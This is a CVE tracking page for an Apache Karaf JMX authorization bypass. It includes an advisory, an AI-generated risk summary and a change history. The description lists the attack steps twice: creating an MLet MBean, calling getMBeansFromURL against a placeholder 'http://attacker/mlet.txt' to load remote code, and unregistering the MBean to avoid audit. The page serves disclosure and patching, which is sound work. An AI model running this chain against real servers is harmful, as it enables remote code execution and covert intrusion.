Description
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:


  private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));




The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.




As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).




This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM:

* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.


The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.:




createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin




Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.
Published: 2026-09-29
Score: 8.8 High
EPSS: < 1% Very Low
KEV: No
Impact: Remote Code Execution
Action: Immediate Patch
AI Analysis

Impact

Apache Karaf protects JMX operations with a role-based guard that only checks a fixed set of MBean methods. MBean lifecycle methods such as createMBean, registerMBean and unregisterMBean are omitted, so any authenticated JMX user can invoke them without authorization. Combined with the default JMX ACL that grants the viewer role to all get* methods, an attacker can instantiate a javax.management.loading.MLet MBean and use it to fetch attacker-controlled class definitions from a remote URL. The classes are loaded into the Karaf JVM, giving the attacker arbitrary Java code execution on the host. The vulnerability has no audit trail for the bypassed operations.

Affected Systems

Apache Karaf platform from the Apache Software Foundation, versions prior to the release that includes the patch. Vulnerable deployments expose the remote JMX connector on ports 1099 or 44444 and rely on the default jmx.acl.cfg configuration.

Risk and Exploitability

The flaw has a CVSS score of 8.8, indicating high severity; EPSS indicates a low probability of exploitation (<1%) at the time of analysis, and the vulnerability is not listed in the CISA KEV catalog. Nevertheless, the impact is Remote Code Execution, and the likely attack vector is a remote JMX client that can authenticate to the exposed RMI port. Exploitation requires only basic credentials and does not need elevated privileges because the viewer role bypasses the guard. Given the potential consequences, administrators should treat this as critical.

Generated by OpenCVE AI on October 1, 2026 at 16:57 UTC.

Remediation

No solution or workaround provided in the CVE record.

OpenCVE Recommended Actions

  • Apply the latest Apache Karaf release (4.4.12 or 4.5.0) that includes the fix for JMX RBAC enforcement.
  • Restrict network access to the JMX RMI ports (1099 and 44444) to trusted hosts or VPNs to limit who can reach the vulnerable endpoint.
  • Enforce that only admin-privileged JMX credentials are available; remove or limit viewer role access to the JMX interface until a patch is deployed.

Generated by OpenCVE AI on October 1, 2026 at 16:57 UTC.

Tracking

Sign in to view the affected projects.

Advisories

No advisories yet.

History

Wed, 07 Oct 2026 20:15:00 +0000

Type Values Removed Values Added
CPEs cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*

Thu, 01 Oct 2026 15:30:00 +0000

Type Values Removed Values Added
Metrics cvssV3_1

{'score': 8.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}

ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}


Wed, 30 Sep 2026 02:15:00 +0000

Type Values Removed Values Added
First Time appeared Apache
Apache karaf
Vendors & Products Apache
Apache karaf

Tue, 29 Sep 2026 13:15:00 +0000

Type Values Removed Values Added
Description Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:   private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.
Title Apache Karaf: Authorization bypass in JMX MBean lifecycle operations
Weaknesses CWE-862
References

cve-icon MITRE

Status: PUBLISHED

Assigner: apache

Published:

Updated: 2026-10-01T14:24:03.845Z

Reserved: 2026-09-15T16:59:01.764Z

Link: CVE-2026-92142

cve-icon Vulnrichment

Updated: 2026-09-29T09:15:50.700Z

cve-icon NVD

Status : Analyzed

Published: 2026-09-29T09:17:10.497

Modified: 2026-10-07T20:07:16.547

Link: CVE-2026-92142

cve-icon Redhat

No data.

cve-icon OpenCVE Enrichment

Updated: 2026-10-01T17:00:15Z

Weaknesses